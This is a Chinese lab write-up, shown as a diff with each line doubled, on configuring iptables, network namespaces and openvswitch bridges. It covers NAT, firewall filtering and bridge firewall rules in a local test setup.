{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412KpnclT.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412KpnclT.png" >}}
-s可以指定规则匹配的IP源地址如在INPUT链允许来自192.168.0.1主机的数据包通过。 -s可以指定规则匹配的IP源地址如在INPUT链允许来自192.168.0.1主机的数据包通过。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412OHp2St.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412OHp2St.png" >}}
-d可以指定规则匹配的IP目的地址如允许目的地址为192.168.0.1的数据包通过。 -d可以指定规则匹配的IP目的地址如允许目的地址为192.168.0.1的数据包通过。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04121SrSfQ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04121SrSfQ.png" >}}
-i可以指定规则匹配的进入本地的网络接口即网卡如允许通过eth0网卡进入的数据包通过。 -i可以指定规则匹配的进入本地的网络接口即网卡如允许通过eth0网卡进入的数据包通过。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412DnSZWC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412DnSZWC.png" >}}
-o可以指定规则匹配离开本地使用的网络接口如允许从eth0网卡离开的数据包通过。 -o可以指定规则匹配离开本地使用的网络接口如允许从eth0网卡离开的数据包通过。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412XEuPrp.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412XEuPrp.png" >}}
这里要注意该匹配操作只能用于OUTPUTFORWARD和POSTROUTING这三个链因为INPUT和PREROUTING是没有离开网络的包的。 这里要注意该匹配操作只能用于OUTPUTFORWARD和POSTROUTING这三个链因为INPUT和PREROUTING是没有离开网络的包的。
--sport用于指定规则匹配的通信源端口。如匹配从端口1111发起的tcp连接的数据包。 --sport用于指定规则匹配的通信源端口。如匹配从端口1111发起的tcp连接的数据包。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412l98cwB.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412l98cwB.png" >}}
--dport用于匹配通信目的端口如匹配目的端口为80的tcp连接的数据包。 --dport用于匹配通信目的端口如匹配目的端口为80的tcp连接的数据包。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412ew4AXy.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412ew4AXy.png" >}}
可以对数据包的状态进行状态检测,一般有四种状态,分别是 可以对数据包的状态进行状态检测,一般有四种状态,分别是
@ -87,32 +87,32 @@ author = "Logic"
如允许目的端口为22的tcp连接且状态为NEW或ESTABLISHED的数据包通过 如允许目的端口为22的tcp连接且状态为NEW或ESTABLISHED的数据包通过
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04126pRxTm.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04126pRxTm.png" >}}
还可以指定一些特殊参数 还可以指定一些特殊参数
--icmp-type指定ICMP连接的类型编号如匹配icmp协议且icmp类型编号为8的数据包 --icmp-type指定ICMP连接的类型编号如匹配icmp协议且icmp类型编号为8的数据包
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412mw3ilW.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412mw3ilW.png" >}}
-m multiport指定多端口号如匹配类型为tcp连接且目的端口号为22,53,80,110的数据包。 -m multiport指定多端口号如匹配类型为tcp连接且目的端口号为22,53,80,110的数据包。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412B4ylRC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412B4ylRC.png" >}}
-m iprange指定ip段可以指定源地址或者目的地址的IP段如禁止源地址在192.168.1.2-192.168.1.7之间的数据包通过。 -m iprange指定ip段可以指定源地址或者目的地址的IP段如禁止源地址在192.168.1.2-192.168.1.7之间的数据包通过。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412G45IZY.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412G45IZY.png" >}}
-m connlimit --comlimit-above限定每个客户端产生的连接个数如限制每个客户端最多同时与本地网络有100个tcp连接超过的连接数据包拒绝。 -m connlimit --comlimit-above限定每个客户端产生的连接个数如限制每个客户端最多同时与本地网络有100个tcp连接超过的连接数据包拒绝。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412iAkfjf.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412iAkfjf.png" >}}
-m limit限定连接速率即限定匹配数据包的个数。如限制连接的最大数据包为6(一个客户端) -m limit限定连接速率即限定匹配数据包的个数。如限制连接的最大数据包为6(一个客户端)
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412WldV0j.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412WldV0j.png" >}}
-m string限定字符串使用--string来指定具体的字符串使用--algo来指定算法为bm或者kmp。如丢弃从本地离开的匹配字符串tudou.com且使用bm算法的数据包。 -m string限定字符串使用--string来指定具体的字符串使用--algo来指定算法为bm或者kmp。如丢弃从本地离开的匹配字符串tudou.com且使用bm算法的数据包。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412v4Gpo7.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412v4Gpo7.png" >}}
#### iptables日志记录 {#iptables日志记录} #### iptables日志记录 {#iptables日志记录}
@ -124,19 +124,19 @@ echo "kernel.warning /var/log/iptables.log" >> /etc/rsyslog.conf
systemctl restart rsyslog systemctl restart rsyslog
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04125sS6uf.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04125sS6uf.png" >}}
配置iptables规则为将来自127.0.0.1的icmp数据包打印到日志且日志信息的前缀为 `iptables icmp-localhost` 配置iptables规则为将来自127.0.0.1的icmp数据包打印到日志且日志信息的前缀为 `iptables icmp-localhost`
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412E8MINW.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412E8MINW.png" >}}
验证规则 验证规则
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412p8dV1N.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412p8dV1N.png" >}}
可见有匹配的数据包,查看日志信息 可见有匹配的数据包,查看日志信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412YEnSCk.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412YEnSCk.png" >}}
可以看到两个数据包的相关日志信息再次定义一些日志策略。如获取所有TCP日志且给出相应前缀为 可以看到两个数据包的相关日志信息再次定义一些日志策略。如获取所有TCP日志且给出相应前缀为
@ -165,7 +165,7 @@ iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "iptables SSH "
iptables -A INPUT -p icmp -j icmp iptables -A INPUT -p icmp -j icmp
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412vN7SKr.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412vN7SKr.png" >}}
在这里使用了REJECT来拒绝数据包使用DROP丢弃数据包也能达到同样的效果在实际应用场景中一般推荐使用DROP因为DROP不会向客户端返回任何信息可以避免在遭到攻击时让攻击者确定服务的存在。放行状态为已连接的数据包 在这里使用了REJECT来拒绝数据包使用DROP丢弃数据包也能达到同样的效果在实际应用场景中一般推荐使用DROP因为DROP不会向客户端返回任何信息可以避免在遭到攻击时让攻击者确定服务的存在。放行状态为已连接的数据包
@ -179,7 +179,7 @@ iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --src 127.0.0.1 --dport 80 -j ACCEPT iptables -A INPUT -p tcp --src 127.0.0.1 --dport 80 -j ACCEPT
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412PSnPjw.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0412PSnPjw.png" >}}
利用扩展模块limit限制每个客户端每分中最多发送25个数据包总共最多发送100个数据包。 利用扩展模块limit限制每个客户端每分中最多发送25个数据包总共最多发送100个数据包。
@ -201,7 +201,7 @@ systemctl status openvswitch
启动后查看状态如下 启动后查看状态如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413hoRi6h.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413hoRi6h.png" >}}
安装抓包工具tcpdump网络配置工具bridge-utils 安装抓包工具tcpdump网络配置工具bridge-utils
@ -209,38 +209,38 @@ systemctl status openvswitch
yum -y install tcpdump bridge-utils yum -y install tcpdump bridge-utils
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413KjcF8g.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413KjcF8g.png" >}}
#### ip link使用 {#ip-link使用} #### ip link使用 {#ip-link使用}
查看使用帮助 查看使用帮助
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ooym2j.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ooym2j.png" >}}
新建网络接口eth0类型为vlan设置vlan id为10添加一个新的虚拟网卡veth1设定tunnel对端的网卡为veth2。查看网络设备信息 新建网络接口eth0类型为vlan设置vlan id为10添加一个新的虚拟网卡veth1设定tunnel对端的网卡为veth2。查看网络设备信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04136tbTKl.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04136tbTKl.png" >}}
分别查看虚拟网卡的信息和vlan的信息 分别查看虚拟网卡的信息和vlan的信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413UCvOJk.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413UCvOJk.png" >}}
ip -d link show可以查看更详细的信息 ip -d link show可以查看更详细的信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ugIICY.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ugIICY.png" >}}
ethtool命令用于查询和控制网络设备驱动程序和硬件设置通过这个命令我们可以查看设置的虚拟网卡的信息-S用于查看某一虚拟网卡的统计信息 ethtool命令用于查询和控制网络设备驱动程序和硬件设置通过这个命令我们可以查看设置的虚拟网卡的信息-S用于查看某一虚拟网卡的统计信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413uRYlvw.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413uRYlvw.png" >}}
启动刚刚设置的各个接口 启动刚刚设置的各个接口
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04138euQxN.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04138euQxN.png" >}}
删除增加的接口 删除增加的接口
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04135qtj5M.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04135qtj5M.png" >}}
可见接口已经被删除 可见接口已经被删除
@ -249,62 +249,62 @@ ethtool命令用于查询和控制网络设备驱动程序和硬件设置
查看使用帮助 查看使用帮助
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04137JGB0q.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04137JGB0q.png" >}}
创建一个名为test的namespace并查看所有namespace可以直接ip netns效果和ip netns list等同 创建一个名为test的namespace并查看所有namespace可以直接ip netns效果和ip netns list等同
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413TexD0q.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413TexD0q.png" >}}
在名为test的namespace中执行命令ip addr show 在名为test的namespace中执行命令ip addr show
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413RZtcp5.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413RZtcp5.png" >}}
在test的namespace中启动bash并执行命令查看路由和防火墙查看完成后退出bash。 在test的namespace中启动bash并执行命令查看路由和防火墙查看完成后退出bash。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04132SYCTC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04132SYCTC.png" >}}
给test添加接口tap1并启用 给test添加接口tap1并启用
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413CGXBNN.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413CGXBNN.png" >}}
给tap1虚拟接口配置ip 给tap1虚拟接口配置ip
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413XVp5mB.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413XVp5mB.png" >}}
删除test namespace 删除test namespace
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04139eMJFx.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04139eMJFx.png" >}}
#### openvswitch使用 {#openvswitch使用} #### openvswitch使用 {#openvswitch使用}
查看openvswitch安装的命令行工具 查看openvswitch安装的命令行工具
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413rMDrTf.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413rMDrTf.png" >}}
ovs-ovsctl命令是对交换机上网桥和端口等信息进行配置的命令。我们用它添加一个网桥br0并查看openvswitch中的所有网桥 ovs-ovsctl命令是对交换机上网桥和端口等信息进行配置的命令。我们用它添加一个网桥br0并查看openvswitch中的所有网桥
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413bh9rrJ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413bh9rrJ.png" >}}
判断网桥是否存在新建一个网卡tap1并将网卡添加到网桥br0查看网桥信息 判断网桥是否存在新建一个网卡tap1并将网卡添加到网桥br0查看网桥信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413zcTnaK.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413zcTnaK.png" >}}
在网桥br0中新建openvswitch网口并列出网桥br0中所有端口这里将新建网卡和添加网卡到网桥合并为一条命令。 在网桥br0中新建openvswitch网口并列出网桥br0中所有端口这里将新建网卡和添加网卡到网桥合并为一条命令。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413Ln4f6q.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413Ln4f6q.png" >}}
删除网桥br0上的网口tap2 删除网桥br0上的网口tap2
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ynC63D.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ynC63D.png" >}}
设置网口tap1的vlan tag为10查看tap1的属性 设置网口tap1的vlan tag为10查看tap1的属性
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413daX841.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413daX841.png" >}}
从网桥br0删除网口tap1, 并从系统删除虚拟网口tap1删除网桥br0 从网桥br0删除网口tap1, 并从系统删除虚拟网口tap1删除网桥br0
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413s6O1zC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413s6O1zC.png" >}}
### 任务四 {#任务四} ### 任务四 {#任务四}
@ -317,7 +317,7 @@ sysctl -p
sysctl -a | grep ip_forward sysctl -a | grep ip_forward
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413Y9sPVl.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413Y9sPVl.png" >}}
创建tag为10的内网1。 创建tag为10的内网1。
@ -345,13 +345,13 @@ ip netns exec ns-tap1 ip addr show
ip netns exec ns-tap1 ip route show ip netns exec ns-tap1 ip route show
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413yUKLHE.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413yUKLHE.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/041310YlQh.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/041310YlQh.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413P0gSKK.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413P0gSKK.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413u8yOfK.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413u8yOfK.png" >}}
创建tag为11的内网2 创建tag为11的内网2
@ -376,17 +376,17 @@ ip netns exec ns-tap2 ip route show
最终查看ns-tap2中的ip和路由信息如下 最终查看ns-tap2中的ip和路由信息如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413MN5tMu.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413MN5tMu.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413QJXcy2.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413QJXcy2.png" >}}
查看网桥br0此时的信息 查看网桥br0此时的信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413f3DHV1.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413f3DHV1.png" >}}
测试两个内网的连通性在ns-tap1中ping ns-tap2 测试两个内网的连通性在ns-tap1中ping ns-tap2
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413MpVbj7.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413MpVbj7.png" >}}
可见网络不连通使用netns模拟器由器实现内网1与内网2互通 可见网络不连通使用netns模拟器由器实现内网1与内网2互通
@ -414,7 +414,7 @@ ip netns exec ns-tap1 ping -c 1 10.0.1.2
测试结果如下 测试结果如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413gvUXDm.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413gvUXDm.png" >}}
可见内网此时已经互通 可见内网此时已经互通
@ -429,7 +429,7 @@ ip netns exec router iptables -t nat -A POSTROUTING -o r2 -j MASQUERADE
在ns-tap1网络中ping ns-tap2网络查看router中的防火墙匹配到的数据包 在ns-tap1网络中ping ns-tap2网络查看router中的防火墙匹配到的数据包
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413SvWI4L.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413SvWI4L.png" >}}
打开两个终端利用tcpdump进行抓包分析。用简单的话来定义tcpdump就是dump the traffic on a network根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤。实验过程中我们使用-nei参数表示显示数据包的主机ip地址将链路层信息显示出来并指定监听的接口。 打开两个终端利用tcpdump进行抓包分析。用简单的话来定义tcpdump就是dump the traffic on a network根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤。实验过程中我们使用-nei参数表示显示数据包的主机ip地址将链路层信息显示出来并指定监听的接口。
@ -442,7 +442,7 @@ ip netns exec ns-tap2 tcpdump -nei tap2
监视到的结果为 监视到的结果为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413bYr5Ha.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413bYr5Ha.png" >}}
可见数据包的确从r2经过继续配置SNATSNAT为源地址转换能改变数据包的源地址。 可见数据包的确从r2经过继续配置SNATSNAT为源地址转换能改变数据包的源地址。
@ -455,7 +455,7 @@ ip netns exec router iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o r2 -j SNAT
同样在两个网络间进行ping测试并查看router iptables匹配情况 同样在两个网络间进行ping测试并查看router iptables匹配情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04135hxJg9.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04135hxJg9.png" >}}
可见成功匹配到数据包配置DNATDNAT为目的地址转换改变数据包的目的地址。 可见成功匹配到数据包配置DNATDNAT为目的地址转换改变数据包的目的地址。
@ -468,7 +468,7 @@ ip netns exec router iptables -t nat -I PREROUTING -i r1 -p tcp --dport 80 -j DN
进行连接测试并查看iptables的匹配情况 进行连接测试并查看iptables的匹配情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413sUp1q7.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413sUp1q7.png" >}}
可见成功匹配到数据包配置重定向 可见成功匹配到数据包配置重定向
@ -481,7 +481,7 @@ ip netns exec router iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT
进行连接测试并查看iptables的匹配情况 进行连接测试并查看iptables的匹配情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413YQLBkh.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413YQLBkh.png" >}}
可见重定向成功配置网络防火墙允许内网1访问内网2 可见重定向成功配置网络防火墙允许内网1访问内网2
@ -496,11 +496,11 @@ ip netns exec router iptables -A FORWARD -s 10.0.0/24 -d 10.0.1.0/24 -j ACCEPT
内网1 ping 内网2并查看iptables匹配情况 内网1 ping 内网2并查看iptables匹配情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413fZCAbk.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413fZCAbk.png" >}}
拒绝内网1访问内网2只需要将刚才的规则ACCEPT修改为DROP或REJECT即可配置完成后查看匹配情况 拒绝内网1访问内网2只需要将刚才的规则ACCEPT修改为DROP或REJECT即可配置完成后查看匹配情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ggJv0f.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413ggJv0f.png" >}}
可见此时内网1确实无法访问内网2且匹配到了对应的数据包拒绝内网1访问内网2的80服务 可见此时内网1确实无法访问内网2且匹配到了对应的数据包拒绝内网1访问内网2的80服务
@ -512,7 +512,7 @@ ip netns exec router iptables -A FORWARD -s 10.0.0/24 -d 10.0.1.0/24 -p tcp --dp
内网1访问内网2的80服务并查看匹配情况 内网1访问内网2的80服务并查看匹配情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413aHaJu8.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413aHaJu8.png" >}}
可见数据包匹配成功且内网1无法访问内网2的80服务 可见数据包匹配成功且内网1无法访问内网2的80服务
@ -521,11 +521,11 @@ ip netns exec router iptables -A FORWARD -s 10.0.0/24 -d 10.0.1.0/24 -p tcp --dp
查看上一次实验的实验环境 查看上一次实验的实验环境
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413IO7L81.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413IO7L81.png" >}}
清空上一次的实验配置 清空上一次的实验配置
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/041376CBlr.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/041376CBlr.png" >}}
搭建新的实验环境配置内网1 搭建新的实验环境配置内网1
@ -564,19 +564,19 @@ ip netns exec ns-tap1 ip addr add dev tap1 10.0.0.2/24
配置完成后查看网桥信息和内网1中的ip信息 配置完成后查看网桥信息和内网1中的ip信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413oGLNal.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413oGLNal.png" >}}
内网2的配置方法类似不再赘述配置完成后查看网桥信息和内网2中的ip信息 内网2的配置方法类似不再赘述配置完成后查看网桥信息和内网2中的ip信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413gvIbBc.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413gvIbBc.png" >}}
在内网1中测试测试二层同网段通信 在内网1中测试测试二层同网段通信
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04130Tptpp.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04130Tptpp.png" >}}
可见同网段中的网络可以通信配置桥接模式防火墙即br_netfilter。加载br_netfilter内核模块并查看加载情况 可见同网段中的网络可以通信配置桥接模式防火墙即br_netfilter。加载br_netfilter内核模块并查看加载情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413XvYMJs.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0413XvYMJs.png" >}}
修改配置以便桥接模式防火墙可以监控网桥中的arp ipv4 ipv6数据包 修改配置以便桥接模式防火墙可以监控网桥中的arp ipv4 ipv6数据包
@ -588,7 +588,7 @@ echo "net.bridge.bridge-nf-call-iptables = 1" >> /etc/sysctl.conf
使配置生效,查看生效的配置信息 使配置生效,查看生效的配置信息
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414eJWW3z.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414eJWW3z.png" >}}
将FORWARD链所有流量导入自定义链 将FORWARD链所有流量导入自定义链
@ -601,7 +601,7 @@ iptables -A FORWARD -j openvswitch-forward
导入后查看iptables如下 导入后查看iptables如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04140sYgls.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04140sYgls.png" >}}
```shell ```shell
# 添加in方向链表 # 添加in方向链表
@ -615,7 +615,7 @@ iptables -A openvswitch-forward -m physdev --physdev-in tap11 --physdev-is-bridg
导入后查看iptables如下 导入后查看iptables如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414F61zEc.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414F61zEc.png" >}}
给内网1添加规则 给内网1添加规则
@ -630,7 +630,7 @@ iptables -A openvswitch-i-tap1 -m set --match-set ipv4-tap1 src -j RETURN
iptables -A openvswitch-i-tap1 -j openvswitch-fallback iptables -A openvswitch-i-tap1 -j openvswitch-fallback
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414aEmH23.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414aEmH23.png" >}}
给内网1添加out方向规则即给openvswitch-o-tap1添加规则 给内网1添加out方向规则即给openvswitch-o-tap1添加规则
@ -642,7 +642,7 @@ iptables -A openvswitch-o-tap1 -j openvswitch-s-tap1
iptables -A openvswitch-o-tap1 -j RETURN iptables -A openvswitch-o-tap1 -j RETURN
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414U6Wx6b.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414U6Wx6b.png" >}}
给内网1添加安全规则 给内网1添加安全规则
@ -659,11 +659,11 @@ iptables -A openvswitch-s-tap1 -j DROP
匹配的过程 匹配的过程
